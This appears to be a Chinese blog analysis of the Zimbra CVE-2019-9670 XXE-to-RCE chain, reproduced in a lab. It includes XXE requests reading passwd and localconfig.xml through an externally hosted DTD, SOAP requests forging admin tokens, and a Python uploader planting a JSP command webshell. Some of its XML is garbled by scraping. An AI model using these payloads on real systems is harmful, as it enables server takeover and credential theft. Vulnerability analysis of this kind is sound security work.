Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

漏洞简介
Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入) 漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传WebshellZimbra服务器,从而实现通过Webshell 来达到远程代码执行效果。(需要注意,最后要达到RCE要结合SSRF漏洞,即需要结合另一个漏洞CVE-2019-9621)
漏洞影响范围

Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。

漏洞环境搭建
此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看https://blog.csdn.net/sxr__nc/article/details/130115884?spm=1001.2014.3001.5502
漏洞复现
(此处只针对漏洞是否存在进行复现验证)
使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

DOCTYPE xxe [
<!ELEMENT name ANY >
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaaEMailAddress>
      <AcceptableResponseSchema>&xxe;AcceptableResponseSchema>
    Request>
Autodiscover>

查看返回的数据包如下:
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第1张图片
成功返回passwd文件内容.
漏洞原理分析

前置背景

关于XML注入漏洞
XML有两个先驱——SGML(标准通用标记语言)和HTML(超文本标记语言),这两个语言都是非常成功的标记语言。SGML多用于科技文献和政府办公文件中,SGML非常复杂,其复杂程度对于网络上的日常使用简直不可思议。HTML免费、简单,已经获得了广泛的支持,方便大众的使用。而XML(可扩展标记语言)它既具有SGML的强大功能和可扩展性,同时又具有HTML的简单性。
XML注入攻击和SQL注入攻击的原理一样,利用了XML解析机制的漏洞,如果系统对用户输入"<",">"没有做转义的处理,攻击者可以修改XML的数据格式,或者添加新的XML节点,就会导致解析XML异常,对流程产生影响。
攻击方式
如下为正常的注册访问用户XML数据,其中用户名由用户自己输入。

<?xml version="1.0" encoding="UTF-8"
 role="guest">用户输入user>

正常情况下的用户输入可以是如下格式:

<?xml version="1.0" encoding="UTF-8"
 role="guest">Adminuser>
<?xml version="1.0" encoding="UTF-8"
 role="guest">testuser>

攻击者构造恶意数据可能是如下格式:

<?xml version="1.0" encoding="UTF-8"
 role="guest">testuser>
<user role="admin">Hackeruser>

即攻击者在输入用户名数据的时候构造test\\Hacker这样的恶意数据包,如果系统对用用户输入的"<",">"符号没有进行处理,就会导致上述类型的攻击,攻击者在发送上述类型的数据包的时候可以新建一个admin权限的用户Hacker.

关于XXE注入漏洞

XML外部实体注入(XML External Entity)简称XXE漏洞。XXE:XML External Entity即外部实体,从安全角度理解成XML External Entity attack外部实体注入攻击,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

关于DTD

XML文档有自己的格式规范,而这个格式规范是由DTD(document type definition)控制的,示例代码如下:

//这一行是 XML 文档定义
<!DOCTYPE message [
 message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如DTD被包含在XML源文件中,它可以通过下面的语法包装在一个DOCTYPE声明中:

DOCTYPE root-element [element-declarations]>

带有 DTDXML文档实例:


DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekendbody>
note>

详细解释如下:

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
下边的数据即标识具体对应元素的数据

外部的 DOCTYPE 声明

如果DTD位于XML源文件的外部,那么通过下边的语法封装在DOCTYPE中:

DOCTYPE root-element SYSTEM "filename">

带有外部DTD的XML文档示例:


DOCTYPE note SYSTEM "note.dtd">
<note>
  <to>Toveto>
  <from>Janifrom>
  <heading>Reminderheading>
  <body>Don't forget me this weekend!body>
note>

其中外部dtd文件内容如下:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

关于DTD中的实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
1:实体引用是对实体的引用。
2:实体可在内部或外部进行声明。内部实体的声明:

语法:<!ENTITY entity-name "entity-value">
示例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用:
<author>&writer;©right;author>

外部实体的声明:

语法:
示例:


引用:
<author>&writer;©right;author>   

通用实体:用&实体名;引用的实体在DTD中定义,在XML文档中引用

 
DOCTYPE updateProfile [ ]> 
<updateProfile>  
    <firstname>Joefirstname>  
    <lastname>&file;lastname>  
    ... 
updateProfile>

参数实体:
1.使用% 实体名;引用的实体,在DTD中定义,并且只能在DTD中使用%实体名;引用
2.只有在DTD文件中,参数实体的声明才能引用其他实体
3.和通用实体一样,参数实体也可以外部引用

<!ENTITY % an-element " mytag (subtag)>"> 
 
%an-element; %remote-dtd;

xxe漏洞原理


DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<creds>
<user>&xxe;user>
<pass>mypasspass>
creds>

以上示例代码在解析的时候会提交两个主要参数,一个是mypass\,一个是&xxe;,在解析的过程中遇到实体的引用会直接获取相应的内容,即这里碰到&xxe会直接获取到外部实体file:///c:/test.dtd的内容,这样一来处理数据会很方便,但同时也会有巨大的安全隐患:如果把目标dtd文件换成敏感文件,这样就会获取到敏感文件的内容。


DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<creds>
<user>&xxe;user>
<pass>mypasspass>
creds>

CVE-2019-9670在原理上和这个是相通的。

定位漏洞点

https://192.168.220.56:7071/Autodiscover/Autodiscover.xml发送一个空的xml数据包,如下:

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<a>a>

查看返回的数据包:

HTTP/1.1 400 No Email address is specified in the Request
Date: Thu, 06 Apr 2023 11:46:58 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 339

<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 400 No Email address is specified in the Requesttitle>
head>
<body><h2>HTTP ERROR 400h2>
<p>Problem accessing /service/autodiscover/Autodiscover.xml. Reason:
<pre>    No Email address is specified in the Requestpre>p>
body>
html>

注意关键字:No Email address is specified in the Request
使用反编译软件反编译zimbrastore.jar包,在其中查找该字符串:找到之后打开目标文件
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第2张图片
打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由doPost函数进行处理的:到这儿就已经大概定位到漏洞函数了,接下来继续对该函数进行深入分析.
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第3张图片
doPost函数逻辑分析
doPost函数的主要逻辑解析如下:

public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    ·····················   
      NodeList nList = doc.getElementsByTagName("Request");  //获取request标签的内容
      for (int i = 0; i < nList.getLength(); i++) {
        Node node = nList.item(i);
        if (node.getNodeType() == 1) {
          Element element = (Element)node;
          email = getTagValue("EMailAddress", element);   //获取EMailAddress标签的内容
          responseSchema = getTagValue("AcceptableResponseSchema", element);
          if (email != null)                          //获取AcceptableResponseSchema标签的内容
            break; 
        } 
      } 
    } catch (Exception e) {                          //处理异常    如果body体为空返回报错信息   Body cannot be parsed 
      log.warn("cannot parse body: %s", new Object[] { content });    
      sendError(resp, 400, "Body cannot be parsed");
      return;
    } 
    if (email == null || email.length() == 0) {     //如果获取到的email地址为空,返回报错信息
      log.warn("No Email address is specified in the Request, %s", new Object[] { content });
      sendError(resp, 400, "No Email address is specified in the Request");
      return;
    }                                             //对AcceptableResponseSchema内容进行判断,如果不满足条件,返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点
    if (responseSchema != null && responseSchema.length() > 0)
      if (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006") && !responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")) {
        log.warn("Requested response schema not available " + responseSchema);
        sendError(resp, 503, "Requested response schema not available " + responseSchema);
        return;
      }  
    log.debug("Authenticating user");
    ······························

逻辑整理:通过分析doPost函数的处理流程,在整体的处理过程中对于请求的数据包,只针对EMailAddressAcceptableResponseSchema两个字段进行的解析,在解析的过程中会判断获取到的邮箱地址和AcceptableResponseSchema字段是否满足既定条件,具体判断如下:

1:判断获取到的邮箱地址是否为空,为空或者长度为0,则返回400的报错信息,提示:请求的数据包中没有Email地址
2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为0
3:判断AcceptableResponseSchema是否等于既定的数据,如果不等于则返回503的报错信息,与此同时返回AcceptableResponseSchema字段中的数据
和上边已经介绍过的XXE漏洞相同,在这里如果把引用的外部实体修改为敏感文件路径,就会直接获取到敏感文件的内容,同时回显出来

漏洞后续利用

前提条件

如果要想达到RCE的效果,需要再结合SSRF漏洞来完成,即需要结合CVE-2019-9621进行结合利用,CVE-2019-9621是一个SSRF漏洞,这两个漏洞结合可以达到RCE的效果。(这个其实是官方的利用思路,但是其实不需要9621也可以直接完成RCE)

获取关键配置文件信息
接下来利用上述xxe漏洞获取zimbra的关键配置文件内容,目的是从配置文件中获取zimbra的用户名及密码信息。对应的关键配置文件为localconfig.xml,但是还有一个问题:这个目标文件是一个xml文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取)需要借用外部dtd,构造的外部dtd如下:


<!ENTITY % start ">
<!ENTITY % end "]]>">
<!ENTITY % all " fileContents '%start;%file;%end;'>">

创建的poc.dtd文件,在本地开启http服务,保证在发送数据包的时候可以成功访问到目标文件
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第4张图片
发送如下数据包:

POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

DOCTYPE Autodiscover [
        
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaaEMailAddress>
        <AcceptableResponseSchema>&fileContents;AcceptableResponseSchema>
    Request>
Autodiscover>

服务端的数据请求记录:
在这里插入图片描述
返回的数据包如下:成功获取到密码
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第5张图片
获取低权限token
接下来的利用接口为:https://IP:7071/service/admin/soap
发送的数据包如下:

POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       context>
   soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbraaccount>
        <password>XXXXpassword>     //填写上边获取到的密码
     AuthRequest>
   soap:Body>
soap:Envelope>

相应的数据包如下:
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第6张图片
获取高权限token
这里需要注意下:官方发出的通告声明,这里需要使用SSRF漏洞(即CVE-2016-9621)进行高权限的token获取,其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的token,当然这个方式有运气的成分,但是也是有理可依的,发送如下数据包:

PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token |

POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 461
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       context>
   soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAdmin">
        <account by="adminName">zimbraaccount>
        <password>oD4I8Bnmpassword>
     AuthRequest>
   soap:Body>
soap:Envelope>

获取到的数据包内容如下:
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第7张图片
官方利用方式:利用SSRF漏洞完成

Post: /service/proxy?target=https://IP:7071/service/admin/soap
Ps:
    (1)HOST:后面加端口7071
    (2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token
    (3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin

利用高权限token上传文件

import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("
");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("
");}%>'
,"text/plain"), 'requestId':(None,"12",None),} headers ={ "Cookie":"ZM_ADMIN_AUTH_TOKEN=0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b",#改成自己的admin_token "Host":"foo:7071"} r=requests.post("https://192.168.220.56:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False) print(r.text)

实现RCE
上传文件成功之后,访问地址https://192.168.220.56:7071/downloads/sunian.jsp,访问的时候需要在Cookie里边填写高权限的token,发送请求数据包如下:(这里远程执行ls命令)

GET /downloads/sunian.jsp?pwd=023&i=ls HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

返回的数据包如下:
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第8张图片
尝试执行其它命令:发送如下数据包:

GET /downloads/sunian.jsp?pwd=023&i=id HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

执行id命令,返回的数据包如下:
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析_第9张图片
参考链接

https://xz.aliyun.com/t/7991
https://www.hacking8.com/bug-product/Zimbra/CVE-2019-9621-CVE-2019-9670-Zimbra-远程代码执行漏洞.html
https://coco413.com/archives/52/

你可能感兴趣的:(漏洞分析,安全,web安全,Zimbra,CVE-2019-9670,漏洞分析)